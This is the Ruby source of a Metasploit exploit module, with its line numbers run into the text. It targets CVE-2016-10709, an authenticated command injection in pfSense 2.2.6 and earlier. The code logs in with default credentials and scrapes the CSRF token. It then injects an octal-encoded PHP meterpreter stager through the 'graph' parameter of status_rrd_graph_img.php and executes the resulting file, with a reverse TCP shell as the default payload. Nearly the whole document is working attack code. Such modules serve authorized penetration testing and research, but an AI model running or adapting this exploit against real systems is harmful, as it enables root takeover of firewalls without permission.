Path: blob/master/modules/exploits/unix/http/pfsense_graph_injection_exec.rb
19847 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'pfSense authenticated graph status RCE',16'Description' => %q{17pfSense, a free BSD based open source firewall distribution,18version <= 2.2.6 contains a remote command execution19vulnerability post authentication in the _rrd_graph_img.php page.20The vulnerability occurs via the graph GET parameter. A non-administrative21authenticated attacker can inject arbitrary operating system commands22and execute them as the root user. Verified against 2.2.6, 2.2.5, and 2.1.3.23},24'Author' => [25'Security-Assessment.com', # discovery26'Milton Valencia', # metasploit module <wetw0rk>27'Jared Stephens', # python script <mvrk>28],29'References' => [30[ 'CVE', '2016-10709' ],31[ 'EDB', '39709' ],32[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf']33],34'License' => MSF_LICENSE,35'Platform' => 'php',36'Privileged' => true,37'DefaultOptions' => {38'SSL' => true,39'PAYLOAD' => 'php/meterpreter/reverse_tcp',40'Encoder' => 'php/base64'41},42'Arch' => [ ARCH_PHP ],43'Payload' => {44'Space' => 6000,45'Compat' =>46{47'ConnectionType' => '-bind',48}49},50'Targets' => [[ 'Automatic Target', {} ]],51'DefaultTarget' => 0,52'DisclosureDate' => '2016-04-18',53'Notes' => {54'Reliability' => UNKNOWN_RELIABILITY,55'Stability' => UNKNOWN_STABILITY,56'SideEffects' => UNKNOWN_SIDE_EFFECTS57}58)59)6061register_options(62[63OptString.new('USERNAME', [ true, 'User to login with', 'admin']),64OptString.new('PASSWORD', [ true, 'Password to login with', 'pfsense']),65Opt::RPORT(443)66], self.class67)68end6970def login71res = send_request_cgi(72'uri' => '/index.php',73'method' => 'GET'74)75fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?76fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 2007778/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body79fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?80vprint_status("CSRF Token for login: #{csrf}")8182res = send_request_cgi(83'uri' => '/index.php',84'method' => 'POST',85'vars_post' => {86'__csrf_magic' => csrf,87'usernamefld' => datastore['USERNAME'],88'passwordfld' => datastore['PASSWORD'],89'login' => ''90}91)92unless res93fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")94end95if res.code == 30296vprint_status("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")97return res.get_cookies98else99fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")100return nil101end102end103104def detect_version(cookie)105res = send_request_cgi(106'uri' => '/index.php',107'method' => 'GET',108'cookie' => cookie109)110unless res111fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")112end113/Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body114if version115print_status("Detected pfSense #{version}, uploading intial payload")116return Rex::Version.new(version)117end118# If the device isn't fully setup, you get stuck at redirects to wizard.php119# however, this does NOT stop exploitation strangely120print_error('pfSense version not detected or wizard still enabled.')121Rex::Version.new('0.0')122end123124def exploit125begin126cookie = login127version = detect_version(cookie)128filename = rand_text_alpha(rand(1..10))129130# generate the PHP meterpreter payload131stager = 'echo \'<?php '132stager << payload.encode133stager << "?>\' > #{filename}"134# here we begin the encoding process to135# convert the payload to octal! Ugly code136# don't look137complete_stage = ""138for i in 0..(stager.length() - 1)139if version.to_s =~ /2.2/140complete_stage << '\\'141end142complete_stage << "\\#{stager[i].ord.to_s(8)}"143end144145res = send_request_cgi(146'uri' => '/status_rrd_graph_img.php',147'method' => 'GET',148'cookie' => cookie,149'vars_get' => {150'database' => '-throughput.rrd',151'graph' => "file|printf '#{complete_stage}'|sh|echo",152}153)154155if res && res.code == 200156print_status('Payload uploaded successfully, executing')157register_file_for_cleanup(filename)158else159print_error('Failed to upload payload...')160end161162res = send_request_cgi({163'uri' => '/status_rrd_graph_img.php',164'method' => 'GET',165'cookie' => cookie,166'vars_get' => {167'database' => '-throughput.rrd',168'graph' => "file|php #{filename}|echo "169}170})171disconnect172end173end174end175176177